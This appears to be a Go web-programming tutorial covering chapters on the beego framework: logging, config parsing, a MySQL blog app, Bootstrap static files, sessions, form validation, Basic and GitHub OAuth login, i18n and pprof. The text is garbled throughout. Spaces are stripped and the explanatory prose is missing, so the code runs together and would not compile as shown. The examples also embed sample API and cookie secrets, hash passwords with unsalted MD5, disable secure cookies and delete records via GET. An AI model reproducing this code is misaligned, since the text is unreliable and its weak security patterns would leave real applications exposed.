Trace"Enteredparsefunctionvalidationblock""Validation:enteredsecond'if'""Dictionary'Dict'isempty.Usingdefaultvalue"

Debug"Webpagerequested:http://somesite.comParams='...'""Responsegenerated.Responsesize:10000.Sending.""Newfilereceived.Type:PNGSize:20000"

Info"Webserverrestarted""Hourlystatistics:Requestedpages:12345Errors:123...""Servicepaused.Waitingfor'resume'call"

Warn"Cachecorruptedforfile='test.file'.Readingfromback-end""Database192.168.0.7/DBnotresponding.Usingbackup192.168.0.8/DB""Noresponsefromstatisticsserver.Statisticsnotsent"

Error"Internalerror.Cannotprocessrequest#12345Error:....""Cannotperformlogin:credentialsDBnotresponding"

Critical"Criticalpanicreceived:....Shuttingdown""Fatalerror:...Appisshuttingdowntopreventdatacorruptionorloss"

levellevel=LevelWarningTraceDebugInfo

beego

beegokey=valueinimapstringint

ini

var(bComment=[]byte{'#'}bEmpty=[]byte{}bEqual=[]byte{'='}bDQuote=[]byte{'"'})

//AConfigrepresentstheconfiguration.typeConfigstruct{filenamestringcommentmap[int][]string//id:[]{comment,key...};id1isformaincomment.datamap[string]string//key:valueoffsetmap[string]int64//key:offset;forediting.sync.RWMutex}

key=value

//ParseFilecreatesanewConfigandparsesthefileconfigurationfromthe//namedfile.funcLoadConfig(namestring)(*Config,error){file,err:=os.Open(name)iferr!=nil{returnnil,err}

cfg:=&Config{file.Name(),make(map[int][]string),make(map[string]string),make(map[string]int64),sync.RWMutex{},}

cfg.Lock()defercfg.Unlock()deferfile.Close()

varcommentbytes.Bufferbuf:=bufio.NewReader(file)

fornComment,off:=0,int64(1);;{line,_,err:=buf.ReadLine()iferr==io.EOF{break}ifbytes.Equal(line,bEmpty){continue}

off+=int64(len(line))

ifbytes.HasPrefix(line,bComment){line=bytes.TrimLeft(line,"#")line=bytes.TrimLeftFunc(line,unicode.IsSpace)comment.Write(line)comment.WriteByte('\n')continue}ifcomment.Len()!=0{cfg.comment[nComment]=[]string{comment.String()}comment.Reset()nComment++}

val:=bytes.SplitN(line,bEqual,2)ifbytes.HasPrefix(val[1],bDQuote){val[1]=bytes.Trim(val[1],`"`)}

key:=strings.TrimSpace(string(val[0]))cfg.comment[nComment-1]=append(cfg.comment[nComment-1],key)cfg.data[key]=strings.TrimSpace(string(val[1]))cfg.offset[key]=off}returncfg,nil}

boolintfloat64string

//Boolreturnsthebooleanvalueforagivenkey.func(c*Config)Bool(keystring)(bool,error){returnstrconv.ParseBool(c.data[key])}

//Intreturnstheintegervalueforagivenkey.func(c*Config)Int(keystring)(int,error){returnstrconv.Atoi(c.data[key])}

//Floatreturnsthefloatvalueforagivenkey.func(c*Config)Float(keystring)(float64,error){returnstrconv.ParseFloat(c.data[key],64)}

//Stringreturnsthestringvalueforagivenkey.func(c*Config)String(keystring)string{returnc.data[key]}

urljson

funcGetJson(){resp,err:=http.Get(beego.AppConfig.String("url"))iferr!=nil{beego.Critical("httpgetinfoerror")return}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)err=json.Unmarshal(body,&AllInfo)iferr!=nil{beego.Critical("error:",err)}

}

beego.Critical beego.AppConfig.String("url")(app.conf)

appname=hsurl="http://www.api.com/api.html"

links

: controller:

13.5beegobeego

.├──controllers│├──delete.go│├──edit.go│├──index.go│├──new.go│└──view.go├──main.go├──models│└──model.go└──views├──edit.tpl

├──index.tpl├──layout.tpl├──new.tpl└──view.tpl

//beego.Router("/",&controllers.IndexController{})//beego.Router("/view/:id([0-9]+)",&controllers.ViewController{})//beego.Router("/new",&controllers.NewController{})//beego.Router("/delete/:id([0-9]+)",&controllers.DeleteController{})//beego.Router("/edit/:id([0-9]+)",&controllers.EditController{})

CREATETABLEentries(idINTAUTO_INCREMENT,titleTEXT,contentTEXT,createdDATETIME,primarykey(id));

IndexController:

typeIndexControllerstruct{beego.Controller}

func(this*IndexController)Get(){this.Data["blogs"]=models.GetAll()this.Layout="layout.tpl"this.TplNames="index.tpl"}

ViewController:

typeViewControllerstruct{beego.Controller}

func(this*ViewController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="view.tpl"}

NewController

typeNewControllerstruct{beego.Controller}

func(this*NewController)Get(){this.Layout="layout.tpl"

this.TplNames="new.tpl"}

func(this*NewController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}

EditController

typeEditControllerstruct{beego.Controller}

func(this*EditController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])this.Data["Post"]=models.GetBlog(id)this.Layout="layout.tpl"this.TplNames="edit.tpl"}

func(this*EditController)Post(){inputs:=this.Input()varblogmodels.Blogblog.Id,_=strconv.Atoi(inputs.Get("id"))blog.Title=inputs.Get("title")blog.Content=inputs.Get("content")blog.Created=time.Now()models.SaveBlog(blog)this.Ctx.Redirect(302,"/")}

DeleteController

typeDeleteControllerstruct{beego.Controller}

func(this*DeleteController)Get(){id,_:=strconv.Atoi(this.Ctx.Input.Params[":id"])blog:=models.GetBlog(id)this.Data["Post"]=blogmodels.DelBlog(blog)this.Ctx.Redirect(302,"/")}

model

packagemodels

import("database/sql""github.com/astaxie/beedb"_"github.com/ziutek/mymysql/godrv""time")

typeBlogstruct{Idint`PK`TitlestringContentstringCreatedtime.Time}

funcGetLink()beedb.Model{db,err:=sql.Open("mymysql","blog/astaxie/123456")iferr!=nil{panic(err)}orm:=beedb.New(db)returnorm}

funcGetAll()(blogs[]Blog){db:=GetLink()

db.FindAll(&blogs)return}

funcGetBlog(idint)(blogBlog){db:=GetLink()db.Where("id=?",id).Find(&blog)return}

funcSaveBlog(blogBlog)(bgBlog){db:=GetLink()db.Save(&blog)returnbg}

funcDelBlog(blogBlog){db:=GetLink()db.Delete(&blog)return}

view

layout.tpl

<html><head><title>MyBlog</title><style>#menu{width:200px;float:right;}</style></head><body>

<ulid="menu"><li><ahref="/">Home</a></li><li><ahref="/new">NewPost</a></li>

</ul>

{{.LayoutContent}}

</body></html>

index.tpl

<h1>Blogposts</h1>

<ul>{{range.blogs}}<li><ahref="/view/{{.Id}}">{{.Title}}</a>from{{.Created}}<ahref="/edit/{{.Id}}">Edit</a><ahref="/delete/{{.Id}}">Delete</a></li>{{end}}</ul>

view.tpl

<h1>{{.Post.Title}}</h1>{{.Post.Created}}<br/>

{{.Post.Content}}

new.tpl

<h1>NewBlogPost</h1><formaction=""method="post">: <inputtype="text"name="title"><br> <textareaname="content"colspan="3"rowspan="10"></textarea>

<inputtype="submit"></form>

edit.tpl

<h1>Edit{{.Post.Title}}</h1>

<h1>NewBlogPost</h1><formaction=""method="post">: <inputtype="text"name="title"value="{{.Post.Title}}"><br> <textareaname="content"colspan="3"rowspan="10">{{.Post.Content}}</textarea><inputtype="hidden"name="id"value="{{.Post.Id}}"><inputtype="submit"></form>

links

::

13.6GoGohttpMVCControllercontrollerRESTtornadolayoutGobeegogithubbeego

links

:

: Web

14 WebWebMVCWebWebtwitterbootstrapsessionmodelhttpbasichttpdigesti18nGopprof

beegoWebbeego

links

::

14.1

beegotwitterhtmlcssbootstrap

beego

Gonet/http ServeFileFileServerbeego

//staticfileserverforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)w.started=truereturn}}

StaticDirurlURLurlhttp.ServeFile

beego.StaticDir["/asset"]="/static"

urlhttp://www.beego.me/asset/bootstrap.css/static/bootstrap.css

bootstrap

BootstrapTwitterBootstrapWebCSSHTMLHTML5Web

BootstrapWebJavascriptBootstrap13jQueryBootstrap“”BootstrapCSS

14.1bootstrap

bootstrapbeego

1. bootstrapstatic

14.2

2. beegoStaticDirstatic

StaticDir["/static"]="static"

3.

//css

<linkhref="/static/css/bootstrap.css"rel="stylesheet">

//js<scriptsrc="/static/js/bootstrap-transition.js"></script>

//<imgsrc="/static/img/logo.png">

bootstrapbeego

14.3bootstrap

bootstrapbootstrap

links

: Web: Session

14.2Session

GosessionsessionMangerbeegosessionManagersession

session

beegosession

//relatedtosessionSessionOnbool//sessionSessionProviderstring//sessionsessionManagermemory

SessionNamestring//cookiesSessionGCMaxLifetimeint64//cookies

GlobalSessions*session.Manager//session

ifar,err:=AppConfig.Bool("sessionon");err!=nil{SessionOn=false}else{SessionOn=ar}ifar:=AppConfig.String("sessionprovider");ar==""{SessionProvider="memory"}else{SessionProvider=ar}ifar:=AppConfig.String("sessionname");ar==""{SessionName="beegosessionID"}else{SessionName=ar}ifar,err:=AppConfig.Int("sessiongcmaxlifetime");err!=nil&&ar!=0{int64val,_:=strconv.ParseInt(strconv.Itoa(ar),10,64)SessionGCMaxLifetime=int64val}else{SessionGCMaxLifetime=3600

}

beego.Run

ifSessionOn{GlobalSessions,_=session.NewManager(SessionProvider,SessionName,SessionGCMaxLifetime)goGlobalSessions.GC()}

SessionOntruesessiongoroutinesession

Controllersession beego.Controller

func(c*Controller)StartSession()(sesssession.Session){sess=GlobalSessions.SessionStart(c.Ctx.ResponseWriter,c.Ctx.Request)return}

session

beegosession

mainsession

beego.SessionOn=true

session

func(this*MainController)Get(){varintcountintsess:=this.StartSession()count:=sess.Get("count")ifcount==nil{intcount=0}else{intcount=count.(int)}intcount=intcount+1sess.Set("count",intcount)this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.Data["Count"]=intcountthis.TplNames="index.tpl"}

session

1. session

//,PHPsession_start()sess:=this.StartSession()

1. sessionsession

//sessionPHP $_SESSION["count"]sess.Get("count")

//sessionsess.Set("count",intcount)

beegosessionPHP session_start()

links

::

14.3Web

HTML

Gostructbeegoformstruct

Webstructformstructtag

typeUserstruct{Usernamestring`form:text,valid:required`Nicknamestring`form:text,valid:required`Ageint`form:text,valid:required|numeric`

Emailstring`form:text,valid:required|valid_email`Introducestring`form:textarea`}

structcontroller

func(this*AddController)Get(){this.Data["form"]=beego.Form(&User{})this.Layout="admin/layout.html"this.TplNames="admin/add.tpl"}

<h1>NewBlogPost</h1><formaction=""method="post">{{.form.render()}}</form>

struct

func(this*AddController)Post(){varuserUserform:=this.GetInput(&user)if!form.Validates(){return}models.UserInsert(&user)this.Ctx.Redirect(302,"/admin/index")}

form

text No textbox

button No

checkbox No

dropdown No

file No

hidden No

password No

radio No

textarea No

required No FALSE

matches Yes FALSE matches[form_item]

is_unique Yes

Falseis_unique[User.Email]UserEmailfalseCallback

is_unique[table.field]

min_length Yes FALSE min_length[6]

max_length Yes FALSE max_length[12]

exact_length Yes FALSE exact_length[8]

greater_than Yes FALSE greater_than[8]

less_than Yes FALSE less_than[8]

alpha No FALSE

alpha_numeric No FALSE

alpha_dash No ///FALSE

numeric No FALSE

integer No FALSE

decimal Yes FALSE

is_natural No FALSE0,1,2,3....

is_natural_no_zero No FALSE1,2,3.....

valid_email No emailFALSE

valid_emails No emailFALSE

valid_ip No IPFALSE

valid_base64 No base64FALSE

links

: Session

:

14.4Web

HTTPBasicHTTPDigestQQOPENIDgooglegithubfacebooktwittersessioncookie

beegobeego

HTTPBasic HTTPDigest

github.com/abbot/go-http-auth

beego

packagecontrollers

import("github.com/abbot/go-http-auth""github.com/astaxie/beego")

funcSecret(user,realmstring)string{ifuser=="john"{//passwordis"hello"return"$1$dlPL2MqE$oQmn16q49SqdmhenQuNgs1"}return""}

typeMainControllerstruct{beego.Controller}

func(this*MainController)Prepare(){a:=auth.NewBasicAuthenticator("example.com",Secret)ifusername:=a.CheckAuth(this.Ctx.Request);username==""{a.RequireAuth(this.Ctx.ResponseWriter,this.Ctx.Request)}}

func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.TplNames="index.tpl"}

beegopreparehttpauthdigest

oauth oauth2

oauthoauth2QQ

github.com/bradrydzewski/go.auth

beegooauthgithub

1.

beego.RegisterController("/auth/login",&controllers.GithubController{})beego.RegisterController("/mainpage",&controllers.PageController{})

2. GithubController```Go

packagecontrollers

import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth")

const(githubClientKey="a0864ea791ce7e7bd0df"githubSecretKey="a0ec09a647a688a64a28f6190b5a0d2705df56ca")

typeGithubControllerstruct{beego.Controller}

func(this*GithubController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false

githubHandler:=auth.Github(githubClientKey,githubSecretKey)

githubHandler.ServeHTTP(this.Ctx.ResponseWriter,this.Ctx.Request)}

3.```Go

packagecontrollers

import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth""net/http"

"net/url")

typePageControllerstruct{beego.Controller}

func(this*PageController)Get(){//settheauthparametersauth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false

user,err:=auth.GetUserCookie(this.Ctx.Request)

//ifnoactiveusersessionthenauthorizeuseriferr!=nil||user.Id()==""{http.Redirect(this.Ctx.ResponseWriter,this.Ctx.Request,auth.Config.LoginRedirect,http.StatusSeeOther)return}

//else,addtheusertotheURLandcontinuethis.Ctx.Request.URL.User=url.User(user.Id())this.Data["pic"]=user.Picture()this.Data["id"]=user.Id()this.Data["name"]=user.Name()this.TplNames="home.tpl"}

14.4

14.5github

Authorizeapp

14.6github

sessionbeego

//func(this*LoginController)Post(){this.TplNames="login.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()

now:=time.Now().Format("2006-01-0215:04:05")

userInfo:=models.GetUserInfo(username)ifuserInfo.Password==newPass{varusersmodels.Userusers.Last_logintime=nowmodels.UpdateUserInfo(users)

//sessionsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)

this.Ctx.Redirect(302,"/")}}

//func(this*RegController)Post(){this.TplNames="reg.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")usererr:=checkUsername(username)fmt.Println(usererr)ifusererr==false{this.Data["UsernameErr"]="Usernameerror,Pleasetoagain"return}

passerr:=checkPassword(password)ifpasserr==false{this.Data["PasswordErr"]="Passworderror,Pleasetoagain"return}

md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()

now:=time.Now().Format("2006-01-0215:04:05")

userInfo:=models.GetUserInfo(username)

ifuserInfo.Username==""{varusersmodels.Userusers.Username=usernameusers.Password=newPassusers.Created=nowusers.Last_logintime=nowmodels.AddUser(users)

//sessionsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)this.Ctx.Redirect(302,"/")}else{this.Data["UsernameErr"]="Useralreadyexists"}

}

funccheckPassword(passwordstring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",password);!ok{returnfalse}returntrue}

funccheckUsername(usernamestring)(bbool){

ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",username);!ok{returnfalse}returntrue}

func(this*AddBlogController)Prepare(){sess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess_uid:=sess.Get("userid")sess_username:=sess.Get("username")ifsess_uid==nil{this.Ctx.Redirect(302,"/admin/login")return}this.Data["Username"]=sess_username}

links

::

14.5go-i18nbeego

i18n

beego

Translationi18n.ILLangstring//zhenLangPathstring//

:

funcInitLang(){beego.Translation:=i18n.NewLocale()beego.Translation.LoadPath(beego.LangPath)beego.Translation.SetLocale(beego.Lang)}

beegoTplFuncMap["Trans"]=i18n.I18nTbeegoTplFuncMap["TransDate"]=i18n.I18nTimeDatebeegoTplFuncMap["TransMoney"]=i18n.I18nMoney

funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Translate(s)}

funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{

s=fmt.Sprint(args...)}returnbeego.Translation.Time(s)}

funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Money(s)}

1. i18n

beego.Lang="zh"beego.LangPath="views/lang"beego.InitLang()

2.

jsonLangPathzh.jsonen.json

#zh.json

{"zh":{"submit":"" ,"create":""}}

#en.json

{"en":{"submit":"Submit","create":"Create"}}

3.

controller

func(this*MainController)Get(){this.Data["create"]=beego.Translation.Translate("create")this.TplNames="index.tpl"}

//{{.create|Trans}}

//{{.time|TransDate}}

//{{.money|TransMoney}}

links

:

: pprof

14.6pprofGo

net/http/pprof

runtime/pprof

net/http/pprofruntime/pprofhttp

beego pprof

beegopprofgoroutineGo"net/http/pprof"GoWebbeegoServHTTPbeegopprof

beego.Run

ifPprofOn{BeeApp.RegisterController(`/debug/pprof`,&ProfController{})BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`,&ProfController{})}

ProfConterller```Go

packagebeego

import("net/http/pprof"

)

typeProfControllerstruct{Controller}

func(this*ProfController)Get(){switchthis.Ctx.Params[":pp"]{default:pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"":pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"cmdline":pprof.Cmdline(this.Ctx.ResponseWriter,this.Ctx.Request)case"profile":pprof.Profile(this.Ctx.ResponseWriter,this.Ctx.Request)case"symbol":pprof.Symbol(this.Ctx.ResponseWriter,this.Ctx.Request)}this.Ctx.ResponseWriter.WriteHeader(200)}

##

pprof```Go

beego.PprofOn=true

URL

14.7goroutineheapthread

goroutine

14.8goroutine

gotoolpprofhttp://localhost:8080/debug/pprof/profile

30profilecpu

(pprof)top10

Total:3samples

133.3%33.3%133.3%MHeap_AllocLocked

133.3%66.7%133.3%os/exec.(*Cmd).closeDescriptors

133.3%100.0%133.3%runtime.sigprocmask

00.0%100.0%133.3%MCentral_Grow

00.0%100.0%266.7%main.Compile

00.0%100.0%266.7%main.compile

00.0%100.0%266.7%main.run

00.0%100.0%133.3%makeslice1

00.0%100.0%266.7%net/http.(*ServeMux).ServeHTTP

00.0%100.0%266.7%net/http.(*conn).serve

(pprof)web

14.9

links

::

14.7beegobeegobootstrapbeegosessionManagerbeegosessionGostructWebhttpbasichttpdigestbeegobeegogo-i18nWebGopprofpprofbeegopprofpprofbeegobeegoWeb

links

: pprof

AGoWeb

1. golangblog2. RussCoxblog3. gobook4. golangtutorials5. de6. Go7. NetworkprogrammingwithGo8. setup-the-rails-application-for-internationalization9. TheCross-SiteScripting(XSS)FAQ10. NetworkprogrammingwithGo11. RESTful